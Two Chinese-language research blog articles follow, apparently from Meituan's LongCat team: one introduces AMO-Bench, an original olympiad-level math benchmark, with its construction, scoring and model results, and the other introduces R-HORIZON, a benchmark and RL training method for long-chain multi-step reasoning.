在此背景下,美团 LongCat 团队发布数学推理评测基准—— AMO-Bench 。该评测集共包含 50 道竞赛专家原创试题, 所有题目均对标甚至超越 IMO 竞赛难度。目前,头部大模型在 AMO-Bench 上的最好表现也尚未及格,SOTA 性能仅为 52.4%,绝大多数模型正确率低于 40%。AMO-Bench 既揭示出当前大语言模型在处理复杂推理任务上的局限性,同时也为模型推理能力的进一步提升树立了新的的标杆。

顶级推理模型在 AMO‑Bench 以及 AIME24/25、HMMT25、MATH500 数学基准测试上的性能

AMO-Bench 的评测榜单将保持更新,欢迎持续关注:

一、评测现状:老题库 “失效”,行业亟需高难度原创基准

现有数学评测 benchmark 因出现严重的性能饱和问题,已无法有效指引头部大语言模型推理能力的进一步提升。一方面,随着 AIME、HMMT 等竞赛题库的公开,模型有可能通过训练数据 “背诵答案”,成绩可信度存疑;另一方面,随着模型的快速迭代升级,现有评测榜单上头部模型的得分趋同,因此逐渐失去鉴别模型能力差异的价值。为进一步提升评测集的难度,已有工作考虑直接使用 IMO 等等有挑战性的竞赛原题对模型进行评测。然而,现有 IMO 题目仍以证明题为主,极度依赖人工批改模型的复杂证明过程,单题批改需 30 分钟以上,评测效率低下且易受主观因素影响。

当前行业迫切需要一套 “高难度 + 原创 + 可自动化” 的评测方案。在这一背景下,AMO-Bench 的推出直击行业痛点—— 50 道竞赛专家原创题目、对标甚至超越 IMO 的试题难度、配套高效高准确率的自动化打分算法,为大模型推理能力评测提供了可落地的新标杆。

二、AMO-Bench:高难度数学推理评测的 “行业新标杆”

AMO-Bench 拥有一套系统化的数据构建逻辑、清晰的数据难度特征与针对性的模型打分算法,为行业提供了一套可信赖且置信的评测方案。

2.1 AMO-Bench 的构建

为打造兼具高质量、强原创性与高挑战性的数据集,LongCat 团队构建了一套 “数据创建 - 质量审查 - 原创性审查 - 难度审查” 全链路流程。

数据创建:专家原创,自带 “解题说明书”

  • 题目由具备数学奥林匹克竞赛获奖经历或相关竞赛出题经验的顶尖专家独立设计,每道试题不仅提供最终答案,还详细撰写了 step-by-step 解题路径 —— 从关键定理应用到逻辑推导节点,每一步都清晰标注,既为后续审查提供依据,也为模型错误分析预留 “参考坐标”。

质量审查:三重盲审,杜绝 “题不对标”

  • 每道题需经 3 位以上专家 “盲审”质检,重点核查两大核心:一是题目表述与解题逻辑是否无歧义,避免因题干模糊导致的模型误判;二是所需数学知识是否严格匹配数学奥赛考察的知识范围(如代数、几何、数论等核心领域),确保不超纲、不偏题,真正考验模型的推理能力。

原创性审查:题库匹配 + 人工核验,切断 “数据穿越”

  • 采用 “技术核验 + 专家经验” 双重保障:通过 n-gram 文本匹配与互联网检索等方式,与 AIME24/25 等主流竞赛数据集和在线数据库进行比对,排除与现有数据资源中高度相似的题目;同时依靠专家经验进行人工核验,确保与过往竞赛题无高度重合,杜绝模型 “背答案” 的可能。

难度审查:双标筛选,确保 “够硬核”

  • 采用双重难度筛选标准来保证每一道题目都具备足够挑战性:首先使用国内外最顶尖模型进行筛选,要求至少 2 款模型在 3 次独立测试中无法全部答对;其次候选题目需要经过第三方专家进行二次审核题目难度,确保题目难度不低于 IMO 标准。

2.2 数据集:覆盖核心领域,推理复杂度显著升级

AMO-Bench 的 50 道题目覆盖数学奥赛核心领域,且从解题复杂度上实现对现有基准的全面超越。

题目分类:覆盖五大核心领域

参照国际数学竞赛官方竞赛大纲,题目被划分为五大类:代数方程与不等式(11 题,占比 22%)、函数与数列(13 题,占比 26%)、几何(5 题,占比 10%)、数论(9 题,占比 18%)、组合数学(12 题,占比 24%),覆盖数学奥赛核心知识点,考察模型在不同领域是否存在能力短板。

AMO‑Bench 问题类别分布

解题复杂度:答案长度远超传统基准

通过对比大模型在 AMO-Bench 和现有数学评测集上的输出长度,可以看到,随着数据集难度的提升,模型表现在逐渐走低的同时,其输出 token 数量也会大幅增加。

大模型在 AMO-Bench 上的解题步骤长度显著长于现有 AIME/HMMT 等评测集,这意味着 AMO-Bench 的题目需要模型构建更长、更复杂的逻辑链才能解答,本质上更具挑战性,能更精准地检验大模型的深度数学推理能力。

不同数学基准测试上模型准确率和平均输出长度的对比

2.3 评分方法:兼顾 “自动化” 与 “准确性”

AMO-Bench 的问题答案类型可以概括为四种类型,为兼顾打分准确率和打分效率,我们针对不同的答案类型匹配相应的评分方式:

  1. 数值 / 集合 / 变量表达式类(39 题):采用 “parser-based 自动评分”,要求模型将答案按指定格式(答案)输出,使用 Math-Verify 工具核验模型结果与标准答案的等价性;

  2. 描述性答案(11 题):采用 “LLM 评分 + Majority Voting”,在实验中使用了 o4-mini(Low)为评分模型,对同一答案进行 5 次独立评分采样,取多数结果作为最终得分,以减小打分模型采样的波动性。

为了验证打分方案的准确率,我们随机抽取了 10 款不同模型生成的 1000 组答案打分结果进行人工检查,结果显示 AMO-Bench 的评分方案准确率高达 99.2%,为大规模自动化评测提供了坚实保障。

示例一:数值答案

示例二:集合答案

示例三:变量表达式答案

示例四:描述性答案

三、实验与分析:AMO-Bench 揭示大模型数学推理的能力边界

为全面揭示当前大模型数学推理的能力边界,LongCat 团队分别从 “开源 / 闭源”和“推理 / 非推理” 两方面共筛选了 26 个头部大语言模型,真实的反应了当前主流模型在数学推理能力上的实际表现。

3.1 整体能力格局:顶尖模型仍 “不及格”,能力梯度差异显著

从核心指标来看,当前大部分大模型在 AMO-Bench 上的表现远未达及格水平,且不同类型模型间呈现明显能力分层:

主流模型在 AMO‑Bench 上的表现(AVG@32)

  • 闭源推理模型领跑,仍有巨大提升空间:表现最优的 GPT-5-Thinking(High)正确率仅 52.4%,且大部分模型表现低于 40%,即便头部闭源模型,也未突破 “及格线”,凸显 IMO 级难度的原创题对当前 AI 的挑战性;
  • 开源模型仍有差距,但已在全力追赶:开源模型中 Qwen3-235B-A22B-Thinking-2507 正确率为 47.8%,DeepSeek-V3.1-Thinking 为 47.6%,距离最好表现的 GPT-5 仍有一定差距,但已明显超越 o4-mini 和 Gemini-2.5-Pro,展示出开源模型奋起直追的势头。

3.2 推理效率关联:Test-Time Scaling 效果显著

通过分析模型在 AMO-Bench 上输出长度与模型表现的关系,LongCat 团队指出,当前 test-time scaling 仍然是提升模型推理表现的有效手段

  • 高得分模型依赖更多 token 输出:AVG@32 超 40% 的模型(如 GPT-5-Thinking、DeepSeek-V3.1-Thinking),平均输出 token 量均超 35K,意味着当前的头部推理模型能通过构建显著更长的逻辑链来达到更好的解题表现。
  • 同系列模型迭代体现效率提升:以 o 系列模型为例,o4-mini(High)在相近 token 量下,正确率(40.2%)显著高于 o3-mini(High)(32.3%);DeepSeek-V3.1-Thinking 较前代 DeepSeek-R1-0528,则进一步用更少 token(32K vs 38K)实现了更高正确率(47.6% vs 34.3%),证明新一代模型可以用更高的效率获取更强的推理性能。

模型性能与平均输出长度的对比

  • 推理投入与得分呈对数线性增长:同一模型正确率与输出长度对数呈近线性正相关,且这一趋势与现有工作在 MATH500、AIME24 等基准上的实验观察一致,证明增加推理计算投入仍是提升模型解决复杂任务能力的有效路径。

不同推理 Effort 设置下的模型性能和输出长度的关系

3.3 潜在能力挖掘:模型多次尝试下的探索潜力

通过进一步分析模型的 “Pass@k” 表现(k 次尝试至少答对 1 次),LongCat 团队指出,前沿推理模型如 GPT-5-Thinking(High)、DeepSeek-V3.1-Thinking 等在 AMO-Bench 上能达到 Pass@32 超 70%,表明当前大模型暗含解决难题的潜力,其性能仍有巨大提升空间。

模型 Pass@K 指标变化趋势图

四、总结与展望

综上,AMO-Bench 相比 AIME24/25 等主流数学评测集具备了更好的区分度和模型提升空间,同时通过 IMO 级别的原创题解决了因数据泄露的潜在风险造成的评估失真问题,以及凭借 99.2% 的高打分准确率保证了自动化评测的准确性。未来,美团 LongCat 团队将持续更新 AMO-Bench 评测集,扩大题目覆盖类型与优化评测方案,同时会进一步探索包括通用和学科推理在内的高难度评测集建设,助力业界大模型在推理能力上的持续提升。

一、推理模型⾯临的新挑战

随着 OpenAI o1 、 DeepSeek-R1 等大型推理模型(LRMs)的问世, AI 推理能力迎来了「测试时扩展」的新阶段。这些模型通过长链思维(Long Chain-of-Thought, CoT)在数学推理、代码生成、智能体任务等领域展现出强大能力。

然而,现有评测体系存在一个关键盲区:主流基准测试(如 MATH500 、AIME)主要关注独立的单一问题,每个问题相互隔离,模型只需「—问—答」即可。

但现实应用场景往往大相径庭:

  • 软件开发中需要连续处理多个关联代码模块
  • 数学证明需要基于前序推导逐步构建后续结论
  • 智能助手往往需要在多轮交互逐步完成复杂任务

这些真实场景要求模型具备跨任务的长链推理能力——不仅要解决单个子问题,更要在多个关联任务间保持推理—致性、合理分配计算资源、实现跨步骤的反思与纠错。

核心问题:当前大型推理模型的长链推理能力边界到底在哪里?

由于现有评测无法回答这—问题,传统训练数据也难以培养这种能力(如图所示,模型在长程推理场景下表现明显退化)。

图 1:R1  系列模型在长程推理场景下的理论准确率与实际准确率对比

复旦大学与美团 LongCat 联合推出 R-HORIZON——首个系统性评估与增强 LRMs 长链推理能力的评测框架与训练方法。

二、方法论:Query Composition 范式

核心创新

R-HORIZON 提出了问题组合(Query Composition)方法,通过构建问题间的依赖关系,将孤立任务转化为复杂的多步骤推理链。

以数学任务为例,该方法包含三个步骤:

1. 信息提取:从独立问题中提取核心数值、变量等关键信息
2. 依赖构建:将前序问题的答案嵌入到后续问题的条件中
3. 链式推理:模型必须顺序解决所有子问题才能获得最终答案

方法优势

  • 灵活扩展:可自由控制推理链长度(n = 2, 4, 8…)
  • 精确可控:可灵活设定问题间的依赖强度
  • 高效低成本:基于现有数据集构建,无需额外人工标注

基于此方法,我们构建了 R-HORIZON Benchmark 用于系统性评估 LRMs 的多步推理能力,同时生成了长链推理训练数据,通过强化学习(RLVR)提升模型性能。

图 2:R-HORIZON 方法流程——从单 — 问题到复杂推理链的转化及应用场景

三、评测基准:R-HORIZON Benchmark

数据集构成

基于 Query Composition 方法,我们构建了涵盖 6 个代表性数据集的 R-HORIZON Benchmark:

评测发现:性能断崖现象

我们评测了 20+ 个主流 LRMs(包括 o4-mini 、Claude-Sonnet-4 、 DeepSeek-R1 等顶级商业模型及开源模型),揭示了—个重要现象。

顶级推理模型在长链推理场景下均出现显著性能下降!

主要发现:

  • 普遍性能退化:所有模型随问题数量增加均出现明显性能下降。DeepSeek-R1 在 AIME25 单问题场景准确率达 87.3%,但在 5 个组合问题场景下骤降至 24.6%。
  • 规模效应:更大规模的模型对多步推理挑战表现出更强的鲁棒性。
  • 任务差异:代码生成任务相比数学任务表现出更陡峭的性能衰退;多数推理模型在网页搜索场景中丧失工具调用能力。

图 3:R-HORIZON Benchmark  评测结果—— 所有模型均出现显著性能衰退

四、机制分析:推理模型的三大瓶颈

为深入理解性能断崖的成因,我们进行了系统的机制分析,识别出当前 LRMs 的三个关键瓶颈:

瓶颈 1:有效推理长度受限

随着相互依赖问题数量增加,LRMs 难以维持原有性能水平。实际准确率与理论准确率之间的差距显著扩大。

深入分析显示:

  • 模型错误集中在特定上下文范围内
  • 7B 模型的主要错误范围在 (4-6K tokens)
  • 32B 模型将范围扩展到 (8-10K tokens)
  • 更大模型具有更长的有效推理边界

图 4:R1-Qwen-7B 和 R1-Qwen-32B  的准确率及错误位置分析

瓶颈 2: 反思机制高度局部化

对模型「反思」行为的分析发现发现:

  • 模型反思频率随问题数量增加而上升并趋于收敛。
  • 超过半数复杂任务 完全缺乏 长程反思 (跨越当前问题的反思)。
  • 当前 LRMs 的反思机制 高度局部化,无法支撑长链场景需求。

图 5:MATH500  数据集上的反思行为分析

瓶颈 3:思考预算分配失衡

最令人意外的发现:包括 DeepSeek-R1 在内的主流 LRMs 无法有效分配思考预算

  • 模型倾向于过度分配 tokens 给早期推理阶段
  • 未能合理分配资源给后续关键问题
  • 这种失衡严重影响整体推理链的完成质量

图 6:不同组合问题数量下各模型的思考预算分配

五、 训练方案:突破能力边界

发现瓶颈后,我们进—步探索:能否通过长链数据的强化学习训练突破这些限制?

训练策略

我们基于 R-HORIZON 构建的长链推理数据,采用 GRPO 算法进行训练:

  • 算法:主流 RLVR 算法 GRPO
  • 数据: R-HORIZON 组合数据(n = 2, n = 4)
  • 实验:不同奖励函数的对比实验

训练效果:双重性能提升

实验结果显示:R-HORIZON 训练不仅显著提升长链任务表现,单问题性能也大幅增强!

核心数据

注:加粗数字表示该列最佳成绩

图 7:不同训练配置下的性能对比

关键发现

  1. 双重提升:使用 n = 2 组合问题训练,多步推理性能大幅提升(AIME24 n = 2 +17.4 分),单问题性能也显著增强(AIME24 单题 +7.5 分)。
  2. 可扩展性:增加组合复杂度(n = 4)增强了模型处理更多推理步骤问题的能力,在 MATH500 (n = 8) 上达到 50.6%。

训练带来的质变

R-HORIZON 训练带来了推理机制的深层改变:

  • 更高效的推理长度:显著改善组合任务性能,更好地泛化到更长推理链,同时缓解「overthinking」现象
  • 更合理的预算分配:学会在多步问题中进行更合理的 token 预算分配
  • 更长程的反思能力:促进了长程反思频率增加,直接改善长链推理性能

图 8:使用标准数据集和组合数据集进行强化学习的效果分析

六、结论与展望

R-HORIZON 标志着大型推理模型研究的范式转变——从「能解决什么问题」到「能走多远」。

技术贡献

  • 首个长链推理评测基准:系统性揭示 LRMs 的能力边界及三大瓶颈。
  • 可扩展训练范式:提供低成本、高效率的能力提升路径。
  • 深度机制分析:为未来推理模型改进指明方向。